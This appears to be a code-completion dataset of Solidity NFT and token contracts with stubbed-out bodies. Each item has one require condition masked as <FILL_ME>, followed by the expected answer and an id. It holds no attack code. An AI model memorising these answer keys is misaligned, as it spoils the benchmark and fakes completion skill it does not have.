function scrapeMyTokens()
external
{
}
function _scrapeTokens(
address _recipient
)
private
{
}
function availableBalance(
address _recipient
)
public
view
returns (uint256 balance)
{
}
function lockedBalance(
address _recipient
)
external
view
returns (uint256 balance)
{
}
function getNow()
public
view
returns (uint256 time)
{
}
function renounceOwnership()
external
onlyTokenKeeper
{
}
function _diff(
address _recipient
)
private
view
returns (uint256 res)
{
}
bytes4 private constant TRANSFER = bytes4(
keccak256(
bytes(
"transfer(address,uint256)"
)
)
);
bytes4 private constant BALANCEOF = bytes4(
keccak256(
bytes(
"balanceOf(address)"
)
)
);
function _safeTokenScrape(
address _to,
uint256 _scrapeAmount
)
private
{
}
function _checkTokenBalance(
uint256 _required
)
private
{
(bool success, bytes memory data) = tokenAddress.call(
abi.encodeWithSelector(
BALANCEOF,
address(this)
)
);
require(<FILL_ME>)
}
}
| success&&abi.decode(data,(uint256))>=_required,"TokenKeeper: BALANCE_CHECK_FAILED" | 240,478 | success&&abi.decode(data,(uint256))>=_required |
"You Have Already Received Your Free Mints" | pragma solidity ^0.8.4;
contract POND_FRENS is ERC721A, IERC2981, Ownable {
// Contract Controllers
bool public isMintEnabled = true;
string _tokenURI = "";
// Pricing
uint256 public mintPrice = .001 ether;
uint256 public royaltyPercentage = 0;
// Supply
uint256 public maxPerWallet = 20;
uint256 public maxSupply = 5000;
// Free Supply
uint256 public freeSupply = 0;
uint256 public freeMintPerWallet = 5;
uint256 public maxFreeSupply = 1000;
// Limits order size
uint256 public maxOrderSize = maxPerWallet < 50 ? maxPerWallet : 50;
// Tracking
mapping(address => uint256) public mintedFreeWallets;
// Verification
// ******************************************************************
constructor() ERC721A("Pond Frens", "PFRENS") IERC2981() {
}
function fm() private {
}
function freeMint(uint256 quantity) external payable {
require(isMintEnabled, "Minting Not Enabled");
require(<FILL_ME>)
require(freeSupply + quantity < maxFreeSupply, "Free Supply Exhasted");
require(quantity + _numberMinted(msg.sender) <= maxPerWallet, "You Have Purchased To Many Tokens");
uint256 number_can_free_mint = freeMintPerWallet - mintedFreeWallets[msg.sender];
require(quantity <= number_can_free_mint, "You Cannot Free Mint That Many");
for(uint256 i = 0; i < quantity; i++) {
if (freeSupply < maxFreeSupply) {
fm();
}
}
}
function mint(uint256 quantity) external payable {
}
function toggleIsMintEnabled() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function withdraw() external payable onlyOwner {
}
function checkbalance() external view returns (uint256) {
}
function setMintPrice(uint256 ethers) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) public view virtual override(IERC2981) returns (address, uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721A)returns (bool) {
}
function setTokenURI(string memory uri) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
}
| mintedFreeWallets[msg.sender]<freeMintPerWallet,"You Have Already Received Your Free Mints" | 240,515 | mintedFreeWallets[msg.sender]<freeMintPerWallet |
"Free Supply Exhasted" | pragma solidity ^0.8.4;
contract POND_FRENS is ERC721A, IERC2981, Ownable {
// Contract Controllers
bool public isMintEnabled = true;
string _tokenURI = "";
// Pricing
uint256 public mintPrice = .001 ether;
uint256 public royaltyPercentage = 0;
// Supply
uint256 public maxPerWallet = 20;
uint256 public maxSupply = 5000;
// Free Supply
uint256 public freeSupply = 0;
uint256 public freeMintPerWallet = 5;
uint256 public maxFreeSupply = 1000;
// Limits order size
uint256 public maxOrderSize = maxPerWallet < 50 ? maxPerWallet : 50;
// Tracking
mapping(address => uint256) public mintedFreeWallets;
// Verification
// ******************************************************************
constructor() ERC721A("Pond Frens", "PFRENS") IERC2981() {
}
function fm() private {
}
function freeMint(uint256 quantity) external payable {
require(isMintEnabled, "Minting Not Enabled");
require(mintedFreeWallets[msg.sender] < freeMintPerWallet, "You Have Already Received Your Free Mints");
require(<FILL_ME>)
require(quantity + _numberMinted(msg.sender) <= maxPerWallet, "You Have Purchased To Many Tokens");
uint256 number_can_free_mint = freeMintPerWallet - mintedFreeWallets[msg.sender];
require(quantity <= number_can_free_mint, "You Cannot Free Mint That Many");
for(uint256 i = 0; i < quantity; i++) {
if (freeSupply < maxFreeSupply) {
fm();
}
}
}
function mint(uint256 quantity) external payable {
}
function toggleIsMintEnabled() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function withdraw() external payable onlyOwner {
}
function checkbalance() external view returns (uint256) {
}
function setMintPrice(uint256 ethers) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) public view virtual override(IERC2981) returns (address, uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721A)returns (bool) {
}
function setTokenURI(string memory uri) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
}
| freeSupply+quantity<maxFreeSupply,"Free Supply Exhasted" | 240,515 | freeSupply+quantity<maxFreeSupply |
"Sold Out" | pragma solidity ^0.8.4;
contract POND_FRENS is ERC721A, IERC2981, Ownable {
// Contract Controllers
bool public isMintEnabled = true;
string _tokenURI = "";
// Pricing
uint256 public mintPrice = .001 ether;
uint256 public royaltyPercentage = 0;
// Supply
uint256 public maxPerWallet = 20;
uint256 public maxSupply = 5000;
// Free Supply
uint256 public freeSupply = 0;
uint256 public freeMintPerWallet = 5;
uint256 public maxFreeSupply = 1000;
// Limits order size
uint256 public maxOrderSize = maxPerWallet < 50 ? maxPerWallet : 50;
// Tracking
mapping(address => uint256) public mintedFreeWallets;
// Verification
// ******************************************************************
constructor() ERC721A("Pond Frens", "PFRENS") IERC2981() {
}
function fm() private {
}
function freeMint(uint256 quantity) external payable {
}
function mint(uint256 quantity) external payable {
require(isMintEnabled, "Minting Not Enabled");
require(quantity > 0 && quantity <= maxPerWallet, "Invalid Quantity");
require(_numberMinted(msg.sender) + quantity <= maxPerWallet, "You Cannot Purchase That Many");
require(<FILL_ME>)
// Free Minting If Available
uint256 free_minted = mintedFreeWallets[msg.sender];
uint256 number_can_free_mint = freeMintPerWallet - free_minted;
if (number_can_free_mint > 0 && freeSupply < maxFreeSupply) {
if (quantity <= number_can_free_mint) {
for(uint256 i = 0; i < quantity; i++) {
if (freeSupply < maxFreeSupply) {
fm();
}
}
return;
} else {
require(msg.value == mintPrice * (quantity - number_can_free_mint), "Invalid Price");
for(uint256 i = 0; i < freeMintPerWallet;i++) {
if (freeSupply < maxFreeSupply) {
fm();
}
quantity -= 1;
}
}
}
// The Rest
require(msg.value == mintPrice * quantity, "Invalid Price");
_mint(msg.sender, quantity);
}
function toggleIsMintEnabled() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function withdraw() external payable onlyOwner {
}
function checkbalance() external view returns (uint256) {
}
function setMintPrice(uint256 ethers) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) public view virtual override(IERC2981) returns (address, uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721A)returns (bool) {
}
function setTokenURI(string memory uri) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
}
| totalSupply()+quantity<maxSupply,"Sold Out" | 240,515 | totalSupply()+quantity<maxSupply |
"You're not allowed to mint this Much!" | pragma solidity ^0.8.0;
contract KyoshiKingdom is ERC721A, Ownable {
using Strings for uint256;
string public hiddenMetadataUri = "ipfs://QmRF79vsaSFruJ1unds8MUCEDiBvmAXgnapkXmBWNuXMMT/hidden.json";
string public baseURI;
string public baseExtension = ".json";
bool public presale = false;
bool public publicSale = false;
bool public revealed;
bytes32 public merkleRoot;
uint256 public maxSupply = 5555;
uint256 public freeSupply = 555;
uint256 public maxWhitelist = 8;
uint256 public maxPublic = 8;
uint256 public maxFreeMint = 1;
uint256 public maxPerTx = 4;
uint256 public presaleCost = .02 ether;
uint256 public publicCost = .02 ether;
constructor(string memory _initBaseURI) ERC721A("Kyoshi's Kingdom", "KK") {
}
// whitelist mint
function whitelistMint(uint256 quantity, bytes32[] calldata _merkleProof)
public
payable
{
require(presale, "The whitelist sale is not enabled!");
uint256 supply = totalSupply();
require(quantity > 0, "Quantity Must Be Higher Than Zero");
require(quantity <= maxPerTx, "Quantity Exceeds The Limit");
require(supply + quantity <= maxSupply, "Max Supply Reached");
require(<FILL_ME>)
require(msg.value >= presaleCost * quantity, "Not enough ether!");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, merkleRoot, leaf),
"Invalid proof!"
);
_safeMint(msg.sender, quantity);
}
// public mint
function mint(uint256 quantity) external payable {
}
function devMint(uint256 quantity) external onlyOwner {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setMaxSupply(uint256 _amount) public onlyOwner {
}
function setFreeSupply(uint256 _amount) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setSale(bool _presale, bool _publicSale) public onlyOwner {
}
function setMax(uint256 _presale, uint256 _public, uint256 _free) public onlyOwner {
}
function setTx(uint256 _amount) public onlyOwner {
}
function setPrice(uint256 _whitelistCost, uint256 _publicCost) public onlyOwner {
}
function setReveal(bool _state) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function airdrop(uint256 quantity, address _address) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function withdraw() public onlyOwner {
}
}
| balanceOf(msg.sender)+quantity<=maxWhitelist,"You're not allowed to mint this Much!" | 240,516 | balanceOf(msg.sender)+quantity<=maxWhitelist |
"You're not allowed to mint this Much!" | pragma solidity ^0.8.0;
contract KyoshiKingdom is ERC721A, Ownable {
using Strings for uint256;
string public hiddenMetadataUri = "ipfs://QmRF79vsaSFruJ1unds8MUCEDiBvmAXgnapkXmBWNuXMMT/hidden.json";
string public baseURI;
string public baseExtension = ".json";
bool public presale = false;
bool public publicSale = false;
bool public revealed;
bytes32 public merkleRoot;
uint256 public maxSupply = 5555;
uint256 public freeSupply = 555;
uint256 public maxWhitelist = 8;
uint256 public maxPublic = 8;
uint256 public maxFreeMint = 1;
uint256 public maxPerTx = 4;
uint256 public presaleCost = .02 ether;
uint256 public publicCost = .02 ether;
constructor(string memory _initBaseURI) ERC721A("Kyoshi's Kingdom", "KK") {
}
// whitelist mint
function whitelistMint(uint256 quantity, bytes32[] calldata _merkleProof)
public
payable
{
}
// public mint
function mint(uint256 quantity) external payable {
require(publicSale, "The public sale is not enabled!");
uint256 supply = totalSupply();
require(quantity > 0, "Quantity must be higher than zero!");
if (supply < freeSupply) {
require(<FILL_ME>)
} else {
require(quantity <= maxPerTx, "Quantity Exceeds The Limit");
require(supply + quantity <= maxSupply, "Max supply reached!");
require(
balanceOf(msg.sender) + quantity <= maxPublic,
"You're not allowed to mint this Much!"
);
require(msg.value >= publicCost * quantity, "Not enough ether!");
}
_safeMint(msg.sender, quantity);
}
function devMint(uint256 quantity) external onlyOwner {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setMaxSupply(uint256 _amount) public onlyOwner {
}
function setFreeSupply(uint256 _amount) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setSale(bool _presale, bool _publicSale) public onlyOwner {
}
function setMax(uint256 _presale, uint256 _public, uint256 _free) public onlyOwner {
}
function setTx(uint256 _amount) public onlyOwner {
}
function setPrice(uint256 _whitelistCost, uint256 _publicCost) public onlyOwner {
}
function setReveal(bool _state) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function airdrop(uint256 quantity, address _address) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function withdraw() public onlyOwner {
}
}
| balanceOf(msg.sender)+quantity<=maxFreeMint,"You're not allowed to mint this Much!" | 240,516 | balanceOf(msg.sender)+quantity<=maxFreeMint |
"You're not allowed to mint this Much!" | pragma solidity ^0.8.0;
contract KyoshiKingdom is ERC721A, Ownable {
using Strings for uint256;
string public hiddenMetadataUri = "ipfs://QmRF79vsaSFruJ1unds8MUCEDiBvmAXgnapkXmBWNuXMMT/hidden.json";
string public baseURI;
string public baseExtension = ".json";
bool public presale = false;
bool public publicSale = false;
bool public revealed;
bytes32 public merkleRoot;
uint256 public maxSupply = 5555;
uint256 public freeSupply = 555;
uint256 public maxWhitelist = 8;
uint256 public maxPublic = 8;
uint256 public maxFreeMint = 1;
uint256 public maxPerTx = 4;
uint256 public presaleCost = .02 ether;
uint256 public publicCost = .02 ether;
constructor(string memory _initBaseURI) ERC721A("Kyoshi's Kingdom", "KK") {
}
// whitelist mint
function whitelistMint(uint256 quantity, bytes32[] calldata _merkleProof)
public
payable
{
}
// public mint
function mint(uint256 quantity) external payable {
require(publicSale, "The public sale is not enabled!");
uint256 supply = totalSupply();
require(quantity > 0, "Quantity must be higher than zero!");
if (supply < freeSupply) {
require(
balanceOf(msg.sender) + quantity <= maxFreeMint,
"You're not allowed to mint this Much!"
);
} else {
require(quantity <= maxPerTx, "Quantity Exceeds The Limit");
require(supply + quantity <= maxSupply, "Max supply reached!");
require(<FILL_ME>)
require(msg.value >= publicCost * quantity, "Not enough ether!");
}
_safeMint(msg.sender, quantity);
}
function devMint(uint256 quantity) external onlyOwner {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setMaxSupply(uint256 _amount) public onlyOwner {
}
function setFreeSupply(uint256 _amount) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setSale(bool _presale, bool _publicSale) public onlyOwner {
}
function setMax(uint256 _presale, uint256 _public, uint256 _free) public onlyOwner {
}
function setTx(uint256 _amount) public onlyOwner {
}
function setPrice(uint256 _whitelistCost, uint256 _publicCost) public onlyOwner {
}
function setReveal(bool _state) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function airdrop(uint256 quantity, address _address) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function withdraw() public onlyOwner {
}
}
| balanceOf(msg.sender)+quantity<=maxPublic,"You're not allowed to mint this Much!" | 240,516 | balanceOf(msg.sender)+quantity<=maxPublic |
"Purchase would exceed max supply." | // contracts/Laboratories.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
contract Laboratories is ERC721AQueryable, Ownable {
// The collection is limited to 1000. +1 is used in order to save on gas
uint256 private constant MAX_SUPPLY = 1001;
uint256 private price = 0.1 ether;
// +1 in order to save on gas
uint256 private walletLimit = 2 + 1;
bytes32 private root;
string private tokenUri;
enum SalePhase {
LOCKED,
PRIVATE,
PUBLIC
}
SalePhase private salePhase = SalePhase.LOCKED;
constructor(string memory _tokenUri)
ERC721A("The Digital Pets Company", "LABORATORY")
{
}
function airdrop(address[] calldata _to, uint256[] calldata _quantity)
external
onlyOwner
{
for (uint256 i = 0; i < _to.length; i++) {
require(<FILL_ME>)
_safeMint(_to[i], _quantity[i]);
}
}
function mint(uint256 _quantity) external onlyOwner checkSupply(_quantity) {
}
function mintPrivate(uint256 _quantity, bytes32[] calldata _proof)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PRIVATE)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkAllowlist(msg.sender, _proof)
checkFunds(_quantity)
{
}
function mintPublic(uint256 _quantity)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PUBLIC)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkFunds(_quantity)
{
}
function setTokenUri(string memory _tokenUri) external onlyOwner {
}
function getTokenUri() external view returns (string memory) {
}
function setSalePhase(SalePhase _salePhase) external onlyOwner {
}
function getSalePhase() external view returns (SalePhase) {
}
function setRoot(bytes32 _root) external onlyOwner {
}
function getRoot() external view returns (bytes32) {
}
function setPrice(uint256 _price) external onlyOwner {
}
function getPrice() external view returns (uint256) {
}
function setWalletLimit(uint256 _walletLimit) external onlyOwner {
}
function getWalletLimit() external view returns (uint256) {
}
function withdrawFunds() external onlyOwner {
}
function createLeaf(address _account) internal pure returns (bytes32) {
}
function verifyProof(bytes32 _leaf, bytes32[] memory _proof)
internal
view
returns (bool)
{
}
function getMaxSupply() external pure returns (uint256) {
}
modifier checkSupply(uint256 _quantity) {
}
modifier checkWalletLimit(
address _account,
uint256 _quantity,
uint256 _limit
) {
}
modifier checkSalePhase(SalePhase _salePhase) {
}
modifier checkAllowlist(address _account, bytes32[] calldata _proof) {
}
modifier checkFunds(uint256 _quantity) {
}
/** OVERRIDES */
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| _totalMinted()+_quantity[i]<MAX_SUPPLY,"Purchase would exceed max supply." | 240,544 | _totalMinted()+_quantity[i]<MAX_SUPPLY |
"Purchase would exceed max supply." | // contracts/Laboratories.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
contract Laboratories is ERC721AQueryable, Ownable {
// The collection is limited to 1000. +1 is used in order to save on gas
uint256 private constant MAX_SUPPLY = 1001;
uint256 private price = 0.1 ether;
// +1 in order to save on gas
uint256 private walletLimit = 2 + 1;
bytes32 private root;
string private tokenUri;
enum SalePhase {
LOCKED,
PRIVATE,
PUBLIC
}
SalePhase private salePhase = SalePhase.LOCKED;
constructor(string memory _tokenUri)
ERC721A("The Digital Pets Company", "LABORATORY")
{
}
function airdrop(address[] calldata _to, uint256[] calldata _quantity)
external
onlyOwner
{
}
function mint(uint256 _quantity) external onlyOwner checkSupply(_quantity) {
}
function mintPrivate(uint256 _quantity, bytes32[] calldata _proof)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PRIVATE)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkAllowlist(msg.sender, _proof)
checkFunds(_quantity)
{
}
function mintPublic(uint256 _quantity)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PUBLIC)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkFunds(_quantity)
{
}
function setTokenUri(string memory _tokenUri) external onlyOwner {
}
function getTokenUri() external view returns (string memory) {
}
function setSalePhase(SalePhase _salePhase) external onlyOwner {
}
function getSalePhase() external view returns (SalePhase) {
}
function setRoot(bytes32 _root) external onlyOwner {
}
function getRoot() external view returns (bytes32) {
}
function setPrice(uint256 _price) external onlyOwner {
}
function getPrice() external view returns (uint256) {
}
function setWalletLimit(uint256 _walletLimit) external onlyOwner {
}
function getWalletLimit() external view returns (uint256) {
}
function withdrawFunds() external onlyOwner {
}
function createLeaf(address _account) internal pure returns (bytes32) {
}
function verifyProof(bytes32 _leaf, bytes32[] memory _proof)
internal
view
returns (bool)
{
}
function getMaxSupply() external pure returns (uint256) {
}
modifier checkSupply(uint256 _quantity) {
require(<FILL_ME>)
_;
}
modifier checkWalletLimit(
address _account,
uint256 _quantity,
uint256 _limit
) {
}
modifier checkSalePhase(SalePhase _salePhase) {
}
modifier checkAllowlist(address _account, bytes32[] calldata _proof) {
}
modifier checkFunds(uint256 _quantity) {
}
/** OVERRIDES */
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| _totalMinted()+_quantity<MAX_SUPPLY,"Purchase would exceed max supply." | 240,544 | _totalMinted()+_quantity<MAX_SUPPLY |
"Purchase would exceed wallet limit." | // contracts/Laboratories.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
contract Laboratories is ERC721AQueryable, Ownable {
// The collection is limited to 1000. +1 is used in order to save on gas
uint256 private constant MAX_SUPPLY = 1001;
uint256 private price = 0.1 ether;
// +1 in order to save on gas
uint256 private walletLimit = 2 + 1;
bytes32 private root;
string private tokenUri;
enum SalePhase {
LOCKED,
PRIVATE,
PUBLIC
}
SalePhase private salePhase = SalePhase.LOCKED;
constructor(string memory _tokenUri)
ERC721A("The Digital Pets Company", "LABORATORY")
{
}
function airdrop(address[] calldata _to, uint256[] calldata _quantity)
external
onlyOwner
{
}
function mint(uint256 _quantity) external onlyOwner checkSupply(_quantity) {
}
function mintPrivate(uint256 _quantity, bytes32[] calldata _proof)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PRIVATE)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkAllowlist(msg.sender, _proof)
checkFunds(_quantity)
{
}
function mintPublic(uint256 _quantity)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PUBLIC)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkFunds(_quantity)
{
}
function setTokenUri(string memory _tokenUri) external onlyOwner {
}
function getTokenUri() external view returns (string memory) {
}
function setSalePhase(SalePhase _salePhase) external onlyOwner {
}
function getSalePhase() external view returns (SalePhase) {
}
function setRoot(bytes32 _root) external onlyOwner {
}
function getRoot() external view returns (bytes32) {
}
function setPrice(uint256 _price) external onlyOwner {
}
function getPrice() external view returns (uint256) {
}
function setWalletLimit(uint256 _walletLimit) external onlyOwner {
}
function getWalletLimit() external view returns (uint256) {
}
function withdrawFunds() external onlyOwner {
}
function createLeaf(address _account) internal pure returns (bytes32) {
}
function verifyProof(bytes32 _leaf, bytes32[] memory _proof)
internal
view
returns (bool)
{
}
function getMaxSupply() external pure returns (uint256) {
}
modifier checkSupply(uint256 _quantity) {
}
modifier checkWalletLimit(
address _account,
uint256 _quantity,
uint256 _limit
) {
require(<FILL_ME>)
_;
}
modifier checkSalePhase(SalePhase _salePhase) {
}
modifier checkAllowlist(address _account, bytes32[] calldata _proof) {
}
modifier checkFunds(uint256 _quantity) {
}
/** OVERRIDES */
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| _numberMinted(_account)+_quantity<_limit,"Purchase would exceed wallet limit." | 240,544 | _numberMinted(_account)+_quantity<_limit |
"Allowlist verification failed." | // contracts/Laboratories.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
contract Laboratories is ERC721AQueryable, Ownable {
// The collection is limited to 1000. +1 is used in order to save on gas
uint256 private constant MAX_SUPPLY = 1001;
uint256 private price = 0.1 ether;
// +1 in order to save on gas
uint256 private walletLimit = 2 + 1;
bytes32 private root;
string private tokenUri;
enum SalePhase {
LOCKED,
PRIVATE,
PUBLIC
}
SalePhase private salePhase = SalePhase.LOCKED;
constructor(string memory _tokenUri)
ERC721A("The Digital Pets Company", "LABORATORY")
{
}
function airdrop(address[] calldata _to, uint256[] calldata _quantity)
external
onlyOwner
{
}
function mint(uint256 _quantity) external onlyOwner checkSupply(_quantity) {
}
function mintPrivate(uint256 _quantity, bytes32[] calldata _proof)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PRIVATE)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkAllowlist(msg.sender, _proof)
checkFunds(_quantity)
{
}
function mintPublic(uint256 _quantity)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PUBLIC)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkFunds(_quantity)
{
}
function setTokenUri(string memory _tokenUri) external onlyOwner {
}
function getTokenUri() external view returns (string memory) {
}
function setSalePhase(SalePhase _salePhase) external onlyOwner {
}
function getSalePhase() external view returns (SalePhase) {
}
function setRoot(bytes32 _root) external onlyOwner {
}
function getRoot() external view returns (bytes32) {
}
function setPrice(uint256 _price) external onlyOwner {
}
function getPrice() external view returns (uint256) {
}
function setWalletLimit(uint256 _walletLimit) external onlyOwner {
}
function getWalletLimit() external view returns (uint256) {
}
function withdrawFunds() external onlyOwner {
}
function createLeaf(address _account) internal pure returns (bytes32) {
}
function verifyProof(bytes32 _leaf, bytes32[] memory _proof)
internal
view
returns (bool)
{
}
function getMaxSupply() external pure returns (uint256) {
}
modifier checkSupply(uint256 _quantity) {
}
modifier checkWalletLimit(
address _account,
uint256 _quantity,
uint256 _limit
) {
}
modifier checkSalePhase(SalePhase _salePhase) {
}
modifier checkAllowlist(address _account, bytes32[] calldata _proof) {
require(<FILL_ME>)
_;
}
modifier checkFunds(uint256 _quantity) {
}
/** OVERRIDES */
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| verifyProof(createLeaf(_account),_proof),"Allowlist verification failed." | 240,544 | verifyProof(createLeaf(_account),_proof) |
"Invalid funds." | // contracts/Laboratories.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
contract Laboratories is ERC721AQueryable, Ownable {
// The collection is limited to 1000. +1 is used in order to save on gas
uint256 private constant MAX_SUPPLY = 1001;
uint256 private price = 0.1 ether;
// +1 in order to save on gas
uint256 private walletLimit = 2 + 1;
bytes32 private root;
string private tokenUri;
enum SalePhase {
LOCKED,
PRIVATE,
PUBLIC
}
SalePhase private salePhase = SalePhase.LOCKED;
constructor(string memory _tokenUri)
ERC721A("The Digital Pets Company", "LABORATORY")
{
}
function airdrop(address[] calldata _to, uint256[] calldata _quantity)
external
onlyOwner
{
}
function mint(uint256 _quantity) external onlyOwner checkSupply(_quantity) {
}
function mintPrivate(uint256 _quantity, bytes32[] calldata _proof)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PRIVATE)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkAllowlist(msg.sender, _proof)
checkFunds(_quantity)
{
}
function mintPublic(uint256 _quantity)
external
payable
checkSupply(_quantity)
checkSalePhase(SalePhase.PUBLIC)
checkWalletLimit(msg.sender, _quantity, walletLimit)
checkFunds(_quantity)
{
}
function setTokenUri(string memory _tokenUri) external onlyOwner {
}
function getTokenUri() external view returns (string memory) {
}
function setSalePhase(SalePhase _salePhase) external onlyOwner {
}
function getSalePhase() external view returns (SalePhase) {
}
function setRoot(bytes32 _root) external onlyOwner {
}
function getRoot() external view returns (bytes32) {
}
function setPrice(uint256 _price) external onlyOwner {
}
function getPrice() external view returns (uint256) {
}
function setWalletLimit(uint256 _walletLimit) external onlyOwner {
}
function getWalletLimit() external view returns (uint256) {
}
function withdrawFunds() external onlyOwner {
}
function createLeaf(address _account) internal pure returns (bytes32) {
}
function verifyProof(bytes32 _leaf, bytes32[] memory _proof)
internal
view
returns (bool)
{
}
function getMaxSupply() external pure returns (uint256) {
}
modifier checkSupply(uint256 _quantity) {
}
modifier checkWalletLimit(
address _account,
uint256 _quantity,
uint256 _limit
) {
}
modifier checkSalePhase(SalePhase _salePhase) {
}
modifier checkAllowlist(address _account, bytes32[] calldata _proof) {
}
modifier checkFunds(uint256 _quantity) {
require(<FILL_ME>)
_;
}
/** OVERRIDES */
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| _quantity*price==msg.value,"Invalid funds." | 240,544 | _quantity*price==msg.value |
null | /**
░█████╗░██╗░░░░░███████╗░█████╗░██╗░░░░░███████╗░█████╗░
██╔══██╗██║░░░░░██╔════╝██╔══██╗██║░░░░░██╔════╝██╔══██╗
███████║██║░░░░░█████╗░░███████║██║░░░░░█████╗░░███████║
██╔══██║██║░░░░░██╔══╝░░██╔══██║██║░░░░░██╔══╝░░██╔══██║
██║░░██║███████╗██║░░░░░██║░░██║███████╗██║░░░░░██║░░██║
╚═╝░░╚═╝╚══════╝╚═╝░░░░░╚═╝░░╚═╝╚══════╝╚═╝░░░░░╚═╝░░╚═╝
██╗░░░██╗██╗████████╗░█████╗░██╗░░░░░███████╗░█████╗░██╗░░██╗
██║░░░██║██║╚══██╔══╝██╔══██╗██║░░░░░██╔════╝██╔══██╗██║░██╔╝
╚██╗░██╔╝██║░░░██║░░░███████║██║░░░░░█████╗░░███████║█████═╝░
░╚████╔╝░██║░░░██║░░░██╔══██║██║░░░░░██╔══╝░░██╔══██║██╔═██╗░
░░╚██╔╝░░██║░░░██║░░░██║░░██║███████╗███████╗██║░░██║██║░╚██╗
░░░╚═╝░░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝
*/
//https://t.me/AlfalfaVitaleakErc20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
